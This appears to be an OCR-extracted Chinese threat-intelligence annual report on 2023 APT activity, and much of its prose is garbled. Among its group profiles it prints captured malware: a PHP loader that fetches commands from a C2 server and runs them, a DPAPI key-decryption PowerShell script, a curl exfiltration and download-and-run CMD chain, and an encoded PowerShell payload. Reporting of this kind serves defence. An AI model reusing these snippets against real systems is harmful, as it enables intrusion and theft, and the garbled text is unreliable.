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2023/3/28 8:41

W] rhec.exe N EERE 2 KB

php.exe 2023/3/7 4:18 RIFRE 123 KB

__ tag 2023/3/26 1:51 i 1 KB

fc5c320d431df412243f18bbc20fd082 2023/3/29 8:13 T 1 KB

~ 695a803ef5ca317459¢9¢c103dd70bb23 2023/3/28 8:17 s 1 KB

— news.txt 2023/3/7 418 A 83 KB

« php.ini 2023/3/7 418 =S 71KB

8 include.rar 2023/7/27 16:37 WinRAR B4 8 KB

[%] phar.phar.bat 2023/3/7 418 Windows #tahE... 1 KB

“ time.ps1 2023/3/7 418 Windows PowerS... 1 KB

@ cdma.ps1 2023/3/13 10:06 Windows Powers... 1 KB

- version.php 2023/3/7 4:18 PHP Exri% 1 KB

= infinity.php 2023/3/28 8:41 PHP #xrit 2KB

= index.php 2023/3/20 2:48 PHP &32i% 90 KB

= include.php 2023/3/7 418 PHP &z 10 KB

A 1.9 PHP BINEAH

SR RIMES EIMTFAK, BTERTPHPERILEEHASHEARRIURIERF, B ERin+hE

K—ERBYE,

30
31
32
33
34
35
36

<ExecutionTimeLimit>PT72H</ExecutionTimeLimi t> [l
<Priority>?<;'Priority>E

</settings>ERM3

<Actions Context="Author" >Rl

<Exec id="WNVIDIA FACTORY LG";»E-
<Command>rhc.exe</Command> SR

<Arquments>php.exe infinity.phﬂ</nrguments>

A B LIOHRIESHAK

PHPEEHEEED NS,

LITRERVA K
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Smachineld = getMac(;

stimeMow = time(;l

Sch = curl_initQ; 4

curl_setopt{$ch, CURLOPT SSL VERIFYPEER, false); )

curl_setopt(sch, CURLOPT RETURNTRANSFER. true); )

curl_setopt(Sch, CURLOPT_URL, "hitps:/| my/update/factory?nid=5machineld &vs=28&t=5timeMNowaw=10.0.1"1;1

Sresult = curl_exec(sch); )
curl_close(Sch);k
try {4
Sobj = json_decode(Sresult);}
if(50kj 88 Sobj-=5 == 1){}
Sdata = Sobj-=d; |
foreach (Sdata as Sdatum) {}
try {
if (Sdatum-=u) copy(Sdatum-=u, Sdatum-=st); |
} catch (Exception $€) {1
H
if(sdatum-=r){l
scmd = "{Sdatum-=r}"; )
if(5datum-=args) Scmd .= " {Sdatum-=args}";}
shell_exec(Scmd);l
T
H
e
¥ catch (Exception 5e) {4
L

A E 1118 RITIhRes

BNTERI T ZE K EFPowershel R EREY, FARMEIITPHPIZIZM AN —LEAR2(E, R4 ER
[Security.Cryptography.ProtectedData]::Unprotecti®#%, REEHFIAF N ETSXIMER A ERET
(5= 1

Hisargsionis
Add-Type -Assembly System.Securityl
$encKey = [System.Convert]:FromBase64String($args[0]);+
fenckeyl = [System.Convert]:FromBaseb45tring($args[0]);4
tenckey= $encKey[5..$encKey.Length];l
$encKey2= $encKeyl5.$encKey.Length];}
$decryptedKey = [Security.Cryptography.ProtectedData]:Unprotect($enckey, $null, [Security.Cryptography.DataProtectionScope]:CurrentUser)d
$EncodedText =[Convert]:ToBaseb45tring ($decryptedKey)t
Write-Host "$EncodedText"

WO = o W e P e

—
[=]

1

A [E 1.12PSHEMH
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BerBeroka

X &R, Rk, RIK

BerBeroka™ " fESE AR T £ ERAMIRH X RRUT UMK EER, HITEZENHRBA “Operation
Giant” , ENT/IRAEEHEBWETING. EFHITMFEHE LI Operation Giant {TaiExF Al
LUBMARI 2020 £, HRREHEBINIEENT PlugX A SLIIRZIER], FH7E 2023 FEA—ELHHN
golang 155, 8L R ERSHE AES MNRZIRE.

&< Ihe
RepOnline KEBSEEREL
CmdExecStart B5h CMD
CmdExecContent 1T CMD @4
HeartBeatSned RFEOBE
UploadFileStart fEIEESCY, @id UploadFileFinish 453k _E%
DownloadFileStart TES M, 83E DownloadFileFinish 53R T &
ExitAll HRHIZ

A % 1.13 BerBeroka £A41 golang $$55%

FEAMEEB I EFERAAME BT AngrokiE Wiz TARadminfBEERI AT, SKIXNAMER
Ak SRS 2R BT AZFE

—— SeMr LA v e — ey

26  strepy(CommandLine, "cmd.exe /c netstat -an | find \"SYN_SENT\" | find \":65531\"");
27  GetStartupInfeoA(&StartupInfo);

28  StartupInfo.hStdError = hWritePipe;

29 StartupInfo.hStdOutput = hWritePipe;

38 StartupInfo.wShowWindow = @;

31 StartupInfo.dwFlags = 257;

32 w2 = CreateProcessA(@i64, Commandline, @i64, @ie4, 1, @, @i64, eie4, &StartupInfo, &ProcessInformation);
v@ = hWritePipe;

34 if ( Iv2)

35 goto LABEL_3;

36 CloseHandle(hWritePipe);

37 memset(Buffer, @, sizeof(Buffer));

38 while ( ReadFile(hReadPipe, Buffer, @xFFFu, &NumberOfBytesRead, 0i64) )

LE B B B B E B E B B N N B B NI
w
w

el
48 if ( strlen(Buffer) )
41
b 42 printf("start Radmin...");
b a3 WinExec("startr.bat™, @);
4}

A [E 1.14 ngrok # Radmin BXzh{tE3
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HIZ B ELAPT-Q-295t XY TR A f2AYO0peration EICARTTEN, EHEAMRAARTFESOperation
Giantse2 R E,

BerBerokafA FtB @Xnote RS RIEHIFIEE, TSERNTAINZEA ST ITEARIT IR EEEIRERT
FFACobalt Strike#{THEMB ), EEAXNnote REMRMEMSEIMIILinuxARSS 2AVITH. TR
TDDoSFES, WIKZEM T LinuxF&a TS TR, REEFBEIXnotelRiThH T Z N AT
LinuxBR55 28,

Support command rin

"tList Lizt Flugins'r'n

Wt

help

list

del

load

can not find plugin

"tHelp Show Thiz M=g'rin

Whel <plusin namer Delete a pluzin'r'in
"WtLoad <plusin name load a pluzinhrin

1.15 Xnote ¥

APT-Q-41 (EEER)

XigiE: BaXHpH. SMELAR

APT-Q-41 TS F 2 MEIRBHIIIMEIFIE, EHANZEZENRER T ZriHERHEFE AN netlify.
app. 000webhostapp.com Ea&IHZ ENEMILHE, FIATEMEPERAMLENEIESR. HERBN
TR EZEKR TN EIENERFEREIENRE, EREZHNEEMREKFEBEHBRRAAEN
live.com HBFEM %% SHTML iETEH, SHTML BIRNAER{HER Outlook BERTTH,
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B® Microsoft
— | L
Enter password

Password

Forgot my password

A [E1.16 SHTML Mi4{A'E Outlook BRITIME
PEEENIETB B X MR ZA N T3 ER LU & E D,

2023/10/10 (A=) 11:03

Helen | | n | | "l n ]

Sign in

WG@G: The New Order[Suspected phishing email, please pay attention to password security]

A o m

e L '\_51035.5htm| .

Hello Dongy1,

Please find attached the New Order.

Disposition
Einkauf

PBS Deutschland Dienstleistungs GmbH
Im Kleifeld 28
31275 Lehrte

A E 117 & XHMF
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Password
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1.18 SHTML F B E RSB RE

SHTMLEASRZEBRRANIKSZNE LEIE=FRENEFR, EEENT EANERELRDAERTR
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Xigin: XS, SR 8K

FEAE (Patchwork) £H4R 2023 FNTERIIFENET & X A% LNK E1E, HERSHIES (C+.
rust. dotnet) 485 Loader X /N% BADNEWS LASEI R AI R, FRT BADNEWS SMZARE X EH
Warzone Rat. Havoc. Silver. NorthstarC2 Fin{z KRS, ERENKHENFR, RITURINENER
#1189 NorthstarStager & 7 188 Loader Y Quasar iz K5,

NORTHSTARCZ

license GPLv3

NorthStarC2 is an open-source command and control framework developed for penetration testing and red teaming
purposes by Engin Demirbilek.

NorthStar C2 Framework consists of two applications, a server-side GUI web application for managing sessions and a
client-side stager to communicate with C2 server.

Quick Installation

git clone https://github.com/EnginDemirbilek/NorthStarC2.git
cd NorthstarcC2/
chmod +x install.sh

sudo ./install.sh
In order to install the NorthStar C2 properly and get the best experience possible, please refer to Wiki page

A & 1.19 NorthstarC2 METE github EHIEE

BIMENKREEETR—aRENS LERSMHEENRATERN T HHMBE AR —MEEZIE, I
BRI M

AENEWESE, BEHEESEEATRENGER, HF—ERIBEE2023FHIREPRE, Mx
—ENSERSZAREINESIARNEERIFEEM, HNENESHARIBXARIE RN
B5ENEARHITT G

BETFHRERBETEXEK, RIHERETEVEHNHESIMKNREER, ZARTWRT X
BOBRILNKINEES T EIRRIRIN, EEMIZIEARSS 25 1TPayloadHIPDFEES fF,
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R

DEITFEPATTBHAA CITY AHbA
BE3OIMACHOCTH
POCCHICKOH ®EJIEPALIIH
(®CE Poccuu) PYKOBOAHTE/IAM 00pa30BaTe/IbHbIX OPTaHH3aLMi
BBICILIET0 00pa3oBaHHs
AEITAPTAMEHT BOEHHOIT
KOHTPPASBEIKII
@CE POCCHI

«1» HogOpa 2023 r., Ne 153/0M/2023
r. Mocksa

¢CB Poccud BbIABWIA MHOTOYMCTEHHbIE MOMBITKM 3arpaHHYHbIX CMELCTVKD BCTVIIHTL B
KOHTAKT ¢ rpakaaHaMu Poccuiickod Pejepaliiy, HMEOHMMH JOCTV K AaHHBIM C OrpaHHYeHHBIM
AOCTVTIOM.

INo Hawefi HHbGOPMALIHH, Bbl GbLTH HISHTHOHLHPOBAHE] KaK Lie/b [OBLILIEHHOTO HHTEpeCa co
CTOpPOHBI HEIDV/KeCTBEHHBIX [OCYZapcTB. B ceasu ¢ 3mum, DCE Poccuu pexoMeHIVET
MaKCHMaJbHO OCTOPOJKHO MCTIONb30BaTb CeTb IIHTEDHET M CPeACTBa CBA3H. IlogpobHo
JOKIaAbIBAiiTeE O BCEX COMHHTETbHBIX KOHTAKTaX C TMOJ03DHTEIbHBIMH HHOCTDAHHBIMH
TpaIaHaAMH.

A 1.20 PDF i#1E

PayloadBIR A IPowershelliN#zs, AEME —E:Shellcode, ShellcodeZ I EHI M ERNFINE
Silverfai7], ZERHS BEHERNXE ST TR EE EAER B8 B H 3 E R & AV 152 A X33 % By
WE R T E—NMP L. XMKMEERBRIAPTHRENIK, BIE—MAREHN AR EE
P ERANKSAARTETRE, XMEENENZYREHAtRel SRIEEMX AELAAIIREE
A+ R0 EHITT A MTAIMFESIRATREME, RBEX “FIHE" X—BEE AR ENT .
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APT-Q-37 (BR7E)

XigiE: X, EL. fiX

2023 FF¥4F, ERE (Bitter) WALKENANHBEERENNE, NMETEGDEEEEHIKLER
KB, FIB#H T CHM HARELEMNAITHE, TRIESHRBTMN TR MSI FHHRITHONHIT CMD 5%,
WEHENITH CMD sa T -

CMD

dir "%public%\Documents" > %public%\music\logs.lgo & curl -X POST -F "file=@C:\users\public\music\logs.|go"
ht tp2s://XXXX.co*m/ank.php?ka=%computername%__%username%

curl-0 %public%\Documents\svchost2.png https://XXXX.com/mwvcis.png
copy %public%\Documents\svchost2.png %public%\Documents\svchost2.exe

start %public%\Documents\svchost2.exe

A R121BREAR CMD &<

R4 & BPayload 5 Z RIFR IR ERBHEL -, FIHIBERMMREKEEALANRRM FAT
— P IFE B SE8IPowershelIBahastlft, FRMLEIRE —MERITIIES,

StartupInfo.cbh = 104;
memset(&ProcessInformation, @, sizeof(ProcessInformation});
9 if ( !CreateProcessA(

5
6 memset(&startupInfo.cb + 1, @, 108);
7
8

18 @isd,

11 (LPSTR)"cmd.exe /C powershell -e cwBjAGgAdABhAHMAaWBZACAALWBJAHIAZQBhAHQAZQAZACBAdABUACAAVWBPAGAAZABVAHCACWBVAH"
12 " AAZABhAHQAZQAZACSAZZAEACSACWEJACAADQBPAGLAOBRAGUATAAVAGRADWAZADIAMAAZACSAABYACAAT ZBWAGSAdWE LAHT AcwBOA™
13 "GUAbABSACAALOBIACAAMOAZACRAYWAZAGMADQBY AGWATAATAGEATAALAFAACEBVAGCACEBhAGRARABhAHQAYQALAFWASWAUAGOACABN
14 "ACAABABBAHQACAAGACBALWBrAGEAYQBAAHMADWEBUAGWAZQBUAGUACWEIAHAACABVAHTAdAAUAGMADWE TACBAE0BWAGSAZAAUAHARRAB "
15 "wWADBAaQBkADBAIQBDAEBATOBQAFUAVABFAFIATEBBAERARQALADSADABPAGRAZQBVAHUADAAEADKADWB tAGBACEE LACAATOBQAHT AbW"
16 "BnAHIAYQBTAEQAYQBRAGEAIQBCAGSALEBQAHAAIWEBAHAADWE SAGUACEE ZAGEAZQB SAGWAOWEBAGKADQB1AGEAdQBRACAADQATAGRAL"
17 "QBsACAATQBQAHIAbWENAHIAYQBtAEQAYQEAAGEATQECAGS AL gBgAHAAT WA AR==",

18 @isd,

19 @isd,

28 a,

21 exgeaepoeu,

22 @isd,

23 @isd,

24 &startupInfo,

25 &ProcessInformation) )

26 return 1;

27  WaitForSingleObject(ProcessInformation.hProcess, @xFFFFFFFF);
28  CloseHandle(ProcessInformation.hProcess);

29  CloseHandle(ProcessInformation.hThread);

38 return @;

A 1.22 Powershell B0
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APT-Q-77

XpiE: TR, 8&R
APT-Q-TTPP E FHE LR T —RH MR RIS ENKEER, WEFBEBEMERSH S, K
ANOMRARERB T FEFLERERANEWL, EATHBIBZETLA Chiselo

[0 README &3 MIT license V4

Chisel
oo crvonce | ©) r asan)

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and
server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to
provide a secure endpoint into your network.

A 1.23 Chisel T&

HNEBRENZA U E R AHE B MR, WEEER XGRS EITERE R Cobalt StrikeiZ
UEERZE, REFEMHERUSTRDZAE, EACSKEEFEINRIRFHIZER. APT-Q-TTRAT S5APT37
1BREBER, BEMEMHEITHRE (NS BB RI S (TR AR M VR R MIBT (8], HAERXHERT. K&
FBRELUT BRI M

At hr—TV T T~
L—=-T000VTSpWn -0
AD A0 X—N

&
L]
L]
L]
L ]

o R —

L]
L]
L]
L]
L
-
L]
L]

N 3 H-—-H—-'r.:ll:-'l:l N ——Q0
3 A-TTA-0MO
:-":—.-'*f.:' - | r'l’l..D o —XnN
T O :1 - ;—-:-:'———:-: N —

~NO—Xn

[

A EH1.24 WERERENXHIIR
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XHE B WET R EHITAESINE H LERIC2MRS 8. WHBEBIRIEIFMRRNIZE — A TRIMZYIR
X ERSFUSBEREERBEMRHEOX M, HlIHENELEAFMHRUSTHSHEERRE A
e LEEENXARE, BTHRANELRNSSHIAZHANERFRHIENAES, REHTLIMNGQ
W, XWEFHEARBLBEXZBAKRERIEBRCSASHIFEEAD T, TRERBLERRHARER
Fo

FEHXBERIT ARG EEH, APT-Q-7TTRILENHEERIINERTRIVRENE, ERXEPI. It
TR A RIS EERNEERNE, HIELRESERBURRERIMNNEARPNAZRE,

ETHFREENGIE, FAHERETAPT-Q-7T7# X REREMX K ETESR, RUEBARTRIELNKIE
B, ZEERNMEVT ENEZMEX EETRUSTHED, FRIbZIMERILAPT-Q-775 XY ENE MK #H1T
NS UG e

1 s 25 S 5 6 CSIS
BEREEEEMIEREESA
REARFSTEEARETE EERENEEEREAGEI T e, SEsy

HEBOREER. ZEEREERTRT L CESES MRS B RN TETR T FoHE
vun e s esEet—srnEsconEs TR I -

A [E 1.25LNK BKH Word %18

AV APT-Q-78

XA BARER. ThigE

APT-Q-78%" —EH LI K EE + BERA R BN FRLIEE B RENNME, ZHKETER Web 2
R 0day/Nday JRBIEAKEAND, EEREMER APT-Q-78 2% SoftEther VPN £ sqlmap 3F B 45
IhSOHITRE, ZEIE ZMFEILIN BIRREIEEE, Gli0=E APl RKS. WordPress BkiRARS.
Anydesk %, M _MENARS—REESHE VMP FARNHER 5.

BAITERFERERE0IAAN APT-Q-78 IBEE D ERY SmokelLoader A FHMIZ R EETN.

SERIFEMEED (APT) 2023 EERE 17
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Storm-0978

X BfE. By, SR, BETHG

TREBMIERPOE 2023 E T HEAFHE T Operation HideBear 555, H ¥ %EhS
Storm-0978"" FAXEX, TEIREDIIIEE T M 2020 EESZEAMNHNREET. £RMBRTR MG
EMUMERREES, ERGEFEEBRETEANEXBEESAFBRNA THAERERTES
ERZHEERES, ZEAEEZETFTFIA LOLBins B ARFBEZR M, HEA llvm. VMP. themida
ERARIPEFHIZRNEINBANG,

C () = e ——

=- Microsoft | Store Home  Apps  Gemes  Movies&TV 7, Search apps, games movies, and more

Phone Link

Microsoft Corporation

38 W 479K ratings  System Components

Install (7

Screenshots

Access your phone’s apps from your PC

Send and receive text messages on your PC Access your phone's

photos on your

Description

You love your phone. So does your PC. Gt instant access to everything you love on your phone, right from your PC.
Link your Android phone and PC to view and reply to text messages, make and receive calls*, view your notifications, and more.

Make emailing yourself photos a thing of the past as you share your favorite images between your phone and PC. Copy, edit, and even drag and drop photos without ever touching your phene.

A [E 1.26 Storm-0978 £ AR E Mk

ERSEARNBREZENIERHNLINT —MASEFESHFES, REHEXRINT —EBIRG
EANBRE, EBEIERFREIHOOKMNAFRN, XEREWRLERNIBEDEFE—MEEWIndowsH
ZHMAAR, HEERAREERABMNZIEEDRRMMNEERIE, XERZ ULoader N4ERAPTA
[RERDIIEE, BRINEE2024FRHE XIZERRFAD RS

HBFE: ti_support@gianxin.com  EiE: 95015 ERI: https://ti.gianxin.com 18
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APT-Q-12 (fhit)
X§7: 0day. BXHH

£ 2022 F5RAY, FATHTE Operation Dragon Dance —X iRt B F CEF BERA LN E=RHENR
£PRE, KIEET 2023 FHNIFMAI APT-Q-12 $HYI E#HE P inER T 0day JRE, FIARENT:

M—-’”" Oday {} —— 4-@

Himeer R XSS Oday RKITISHE, ERA .

A

T EHED
IR M E Alink
EFHRT
=2 QAQDDIZ2 bmp = ~StaticCache-System dat
TES o TEE

1.27 APT-Q-12 FE4789 Oday FI B 5%

2023F B, EATEZN0day, FAMZNT:

v AN dshe Icc:‘ije
b ‘ e [ ownloader
aa | U | |

BT BEEXSS Oday HATISES. EEA

1]

=

-] =2 ] —= ~StaticCache-
T == System.dat

1.28 APT-Q-12 A HJ 0day FIF%E

WHEEEZREFRERANBRS FLEEMERPOZ I AFIEERNOperation ShadowTiger EAR1E

(APT-Q-11) ALREmNIEEAEM, HEEBRSEREIEZEFLIMAPT-Q-115APT-Q-12EBT—E8&
1EZE, RBYAPT-Q-12186 ZEIEB RPN A, FARRIRB R B AIF A HEEMF R ikhk
pi N

DIREHISEIEE (APT) 2023 EEIRE 19



e FRIEAMBIRP O
APT-Q-14 (FE#I)

KPR B X

BERITES AR ClickOnce BRI EIRN#HITEIEER, MAIDXKEIESFE tab MR E2EEST
FFiz#2 Application 34,

Open this file?

Do you want to open app40_ie.application from

Report file as unsafe

Open Cancel
A [E 1.29 APT-Q-14 £HL34E 3 ClickOnce H K

Z = THBHEAFHITHAWIRF.

<assemblyldentity name="ClickOnce” version="0.0.1.0" language="neutral”
processorArchitecture="x86" />4

<commandLine file="clickonce.exe” parameters="" />
< fentryPoint>

<trustinfo>+
<security=+
<applicationRequestMinimum = ¢
<PermissionSet Unrestricted="true” ID="Custom” SameSite="site” />t

<defaultAssemblyRequest permissionSetReference="Custom” />
< fapplicationRequestMinimum =

<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.3™ =4
<l

UAC THU T ~E 2M1
Windows AFERF HE HEE 2532 HASHY
requestedExecutionLevel =

In
ujn

CHg B SHLE BHRAAIR
<requestedExecutionLevel level="aslnvoker™ uiAccess="false" />+

<requestedExecutionLevel level="requireAdministrator” uiAccess="false" /=

<requestedExecutionLevel level="highestAvailable™ uiAccess="false" /!

O|F HT It TTHS 3
requestedExecutionLevel =

.
<requestedExecutionLevel level="aslnvoker™ uiAccess="false™ />4

A [E 130 APT-Q-14 £A473&3T ClickOnce iR T R #IMAET

HBFE: ti_support@gianxin.com  EiE: 95015 ERI: https://ti.gianxin.com
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RARBEHMBNGolangtsS, HE<INEENT:

&< Inie
time f&2R C2 D \Bkialfm
dll INEFETERY DLL
Imem JIE=Eishal:peats
rtel BINERE C2 ME RO
uweb WHHEE B R THXHERBH L2 C2 fRS3
sayo BRI

#& 1.31 APT-Q-14 B4R Golang 4§ 315%

APT-Q-15

XpEin. aXEpF. Bia. EB. Oday

12022 FLIREP, FREBMBERPOEET —PRNARHBHEGEHE R APT-Q-XX*, &1
—FZWNRE, BISRLBFEHERES APT-Q-15, ZANKETERHAHMPE AN BT, KI1G
LN EASMXAIH O 1P 1FRT APT-Q-15 BIEAL IR, WLEREIFBABTAEIEKE FREF
B RS hIE,

ZHUZZONIIBHS 33
el

Z=H|112(2023)8 112 21
oM "BEelg (2EH1

1.32 APT-Q-15 e FMVGREF B 1155 ThinE)E1H
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APT-Q-15fE I ZMERIRIAETE, M FRREARGHEINT:

ﬁ Font Setup

AZZ2AN231%

A OFAL, A, 2 A,

\& EaeiLICE

1.33 MSI BRE LA

Install

fEMExcelMBIX A (xIl) fERIBENTHE, WEEERBXIsIEE, XHEABWT:

[ S i TN

10

11

12 |

13

14

15

16

17

18

19

20 |

21 |

&

23 |

Hs

[B] JAQ HH2 222 HBFN AN HYLTY ¥BAS B

A
[=]
YSE Y2E2 BYAIR HEAIL 012 22 AR BAI=H

Ao E KA A Bt

T o

9lcyst 22| elple] gatze 4

ozt =8 dLdsX2 HAX L 5 05 715203 EA2] o2 chelo|M T

S22 o 2y =g AR
S|gtet CHEt Al =T ot 29
THEEAE Mol dr == ASET,
SYEE0M SAI0LZ 2|
HEtT oA

AeIFA0A

el dsuM, ss sfeeH

OEg=—5 YME HA

NEZE E0lL7be HEL 7|8

SEes, olZio] RIS 22 E4Ho|nt

SEYLs Mg 7| M oA zle] ZHAE ¢HM SRS Hoh
A2l sttt F, 0/Z40] off =0lCt

EHE G BN 22 Al

Rl Zoff MAT A2

O[oF7|

=

=

=1
=]

1.34 xIl FRRAEIBE

f4 Zhdotd D=0 7IFAMENE S XIS

LT
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
http://rodong.rep.kp/ko/index.php?strPagel
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THENEEXHOT:

E 1.35 THEANEFREHRNEEXH

2023%FHBY, APT-Q-15HBECHMIEE, AT —BERFHANBFA, RITRENT:

ol

v A H H
Dl — RS — [ L) <>
HEaE CHMiRE gbtmrpivit dat adympdolwk.dat pcalua.exe awryurslkn.dat Scheduled Tasks
T decompile
Drop
nvaudcapB4v.dil d3dx9_43.dll nvspcaps64.dil nvaudcap64v.dil nvspcapst4_exe

@——CE

nvspcapsi.db

& 1.36 APT-Q-15 H{FHAQF AR ERIZ

& Aanvspcapsl.dbiLoader, ZLoader=IAMACryptUnprotectDatel ¥ LM —H—5, RENF
INEMSFARS,

SIHEEISEMERN (APT) 2023 RS 23



o BREBMERBO

if ( ReadFile(dwBytes_4, lpBuffer, dwBytes, &NumberOfBytesRead, ©i64) )
{
CloseHandle(dwBytes_4);
pDataln.pbData = lpBuffer;
pDataln.cbData = dwBytes;
if ( CryptUnprotectData(&pDataln, &ppszDataDescr, @i64, ©i64, ©i6d4, @, &pDataout) )// ElAHiEH)
{
vl = HeapAlloc(hHeap, 8u, pDataOut.cbData);
lpMem = v1;
if (vl )
{
memmove(vl, pDataCut.pbData, pDatzOut.cbData);
HeapFree(hHeap, @, lpBuffer);
if ( lpMem )

A 1.37 APT-Q-15 f#Z K5

APT-Q-15XA KEMIoTBkR, 2023FEH5APT287EEEAIATEER N2 T Ubiquitilk 28, X3A9ih
BHTEFAPT28UbiquitiBkik H1E0dayREHRIC2EA, MAPT-Q-15NIKEHHERE, 2=z, Fit
TAAMAPTARKEEFEZEE, BXLHRKAZE (APT-Q-11. APT-Q-12. APT-Q-14. APT-Q-15)
BEEBHDES, BRIMEIRETFTTTPHNEMISHNE#ITHE, BITAAXEARRTHERFHRELUE
DarkHotelB953 2 #44,

=. 2023 FRAZETLSH

H—P BRI FREEDEEENZRNMN T L EARNBRANETEF D APT HEAR, HEAE
BTHREBMBIRNELTmEEREHTON: 2023 FSRKEBRENL. BAHE. BEK
A ERBA. BRTUHNSHEMEFSEESD, S5 20.4%, 18.4%, 17.3%, 12.2%,
10.2%. ERAEESE. #MiEEE. B DEFAH. KPEMABRITILEREKD BT,

2023 B RRMEGSRIBNGIH T O£
Hih 12.2%
Eff 2% 3.1%
FhiEEA 3. 1% BRFHL44

20. 4%

EFESE 3.1% \

BEIR 10.2%

SERAR
LB 12.2% 17.3%

A [E1.382023 FERBEMEMETRIERITLDHER
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BEF ERBUBS, SNRERARENAPTALEREHE RE X FMITL R TR,

HE AR AR

TOP1 APT-Q-27 (GoldenEyeDog) %, R

TOP2 APT-Q-29 (Winnti) EREAR. £
TOP3 APT-Q-1 (Lazarus) BF. &R/t ERES
TOP4 APT-Q-31 ( #5%&TE ) BRF. RASE
TOP5 APT-Q-36 (Patchwork) SR HAEE
TOP6 APT-Q-20 (S=H) ERFESE. BN, S8R, BAEE
TOP7 APT-Q-12 ( fA%E%& ) EfrES. BlAS
TOP8 APT-Q-15 B, ERES
TOPY BerBeroka SR FEEA. EERAR
TOP10 APT-Q-78 EBES. RAEE

A R 139 ERARHE R RIBE R T

SWERIFEER (APT) 2023 FERS 25
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B8 eXERIFETERMERE

DFFKIFER APT 15 (LUFER “FREHR" ) 2R THREMRNEZL2MANBL2XE, AKX

BRFEERMAREBENEEFRZ— 2023 F, HFREMDBERPONE2IX 200 ZPHEER APT
KERFRERHITHEEN, WNASEEERIRTF APT WEHARIRSE. APT REITEIRE. ERILAPT
NEBMREEMF. APT RERXESABIRRDH, URFEITANFTEXENMEBICTFARREE
ESETS

FERBRELCEEET N ERFRIGHIR AR NN B X RN EBIES Dif.

—. EXESHEAMARESR

B LEEMFERFOE 2023 FENFINSRFEERMEXAFIRE SH 369 Ko KARNEBIENT
EIFfrRo

2023 2 BATHIS BRINRESHE BESit oy T%RE

42 44
37 39
31 30
26 26 27 28
22
17 I
Jan Feb Mar Apr May Jun Jul

Aug Sep Oct Noc Dec

212023 FeRAFNERBEMREHER ERIT
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—. REBRITIL S

BEFRBRSERET: ERSRFEERDEEHWHNEATIL DR ABFNE. ERES. B
B. EERAR, 2023 FERNIMEEN APT HXESNREFR, FRBUGHME (BEHPR. B, @E348E
X) BREEMHSEERN 27.9%; SREREFEENREEM SN 12.2%; BSRBHAEENREEF L
79 11.7%; ERRAREXRNEMG SN 10.4%, IREBEHELERSNITIWEE SR, BIE. HEE

. M=K, BT EE. BB
2023 FRREMEFS RATI D WIE R0 T B,

2023 FEERMEsRBSUsHER (> IEE

. .EﬁEEZj% BEIR 2. 4%
AEMX 3.2%
FEGRE 3. 7%
BfE 4.5%
\ HAFHA
. 27.9%

SERAR 10 4% EfRESE

MEHE | 1224
11.7%

A [E 222023 FEHBREMEFTRITLDH

SREMERD S R EARHNERNMAD BRI TE @EREQFRSPRINZEBITIEE
geitiEl) , AIUEERENKEDSRBMBTEIERERTFFH. ARES. MIHE. f &K
MU ZEF/ L MERX,
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2023 F AFHRFERRR RSN H R E S IRE

&r T
. “Mnﬂmﬁ .
=m EsEie . I.
@°%-e
fiEs

hE e ﬁm

ENE
mm.am

&.ﬁﬁ.ﬁﬂeﬁﬁ? mwﬂ?ﬁ v

A [E232023 FATFHRENSHEMEEIFHXIHERMME

pred

=. EREEREMARER
ARSI FRISR TR NFE APT ARRABKITHRTT HIFIBIE, He, RRERHH 5

APT AR 73 572: Lazarus 9.2%, Groupl123 7.5%, Kimsuky 6.4%, SideCopy 3.9%, APT28 3.4%., HH,
Lazarus. Kimsuky B MALREES: 3 FHFH FEERFIRERKRE Top 5 5I1RAK,

2023FLFREHBUSAADERFRGR <%0 Sanss

R
sanrzs N © 5
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Lazarus

Lazarus

Kimsuky

Lazarus

Lazarus

Kimsuky

Lazarus ALRHE Windows RS BEHAEBERED LS 00
UNC4899 BRAFIF SaaS BRSSIZ M H#1TE H MRz EER & 20
Konni AAREHN TS E b By 5% O

Konni B7sEB bR EMTHRS P

Lazarus BREHSS DNEE 6 AT & PRt Ry e e o (2

Lazarus WESHIHNBRBHSBTRAT

Lazarus F4A Andariel ARFHMK L EsHH OV

Lazarus F/f ManageEngine JEiAS6E QuiteRAT'®

Lazarus B4R E FIE RIS B T =R pyap . %)

APT-C-55 (Kimsuky) 4A4RfEREn AT RS 7

APT37 LUE S 1255 /K IO BB E T CHM B OF

?%%icﬂ*ﬁﬁ%éi?ﬁ#hﬂ#ﬂi&” RILEF 5 APT ALUL AT IE DD
937

APT-C-26 (Lazarus) BZEM EarlyRat Mg Emn 4 (100

Ko{ngl}ﬂﬁﬁ WinRAR %A (CVE-2023-38831) BRI GEHFHRHIT
J_l_ 101

APT37 R BECARI 2 NiEE T R (102

ScarCruft AL RAEER 103

Lazartf&ﬁﬁ?k%ftﬂ’]fﬁ&ﬁt AEERT: REAEFMEMAATH
=2 |

SRE Lazarus EIBMERE Volgmer. Scout BEHRHHIRE 10
Kimsuky BUAMELER RDP 22 Rt 100

S EIVTREFIF TeamCity CVE-2023-42793 j&5R 107
Lazarus EEFFHILRE T 555 14O

FastViewer ZNARE S FastSpy, FHvEma AR mER 10

A 3R 342023 FRIMEX APT BERSEESRD *3

2023/7/24

2023/7/24

2023/7/31

2023/7/31

2023/8/2

2023/8/7

2023/8/22

2023/8/24

2023/8/24

2023/8/28

2023/9/4

2023/9/12

2023/9/12

2023/9/14

2023/9/19

2023/9/25

2023/9/29

2023/10/4

2023/10/16

2023/10/18

2023/10/27

2023/10/30

ASEC

Mandiant

2R

Genians

Checkmarx
Security

SentinelOne

ASEC

Cisco

Cisco

360

ASEC

EEF

360

HELF

ESTsecurity

RIER

ESET

ASEC

ASEC

Microsoft

Kaspersky

S2W

SIKERIFEIERB (APT) 2023 FEIRE
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EYia]

Lazarus

BlueNoroff

Andariel

Kimsuky

Lazarus

Andariel

APT37

Kimsuky

BlueNoroff

Lazarus

Lazarus

Konni

L 7y wE RAINBENR S FEENX T
ugz[flréfs B macOS BERHRBREMEEDTRZFENXRETRE 2023/11/1

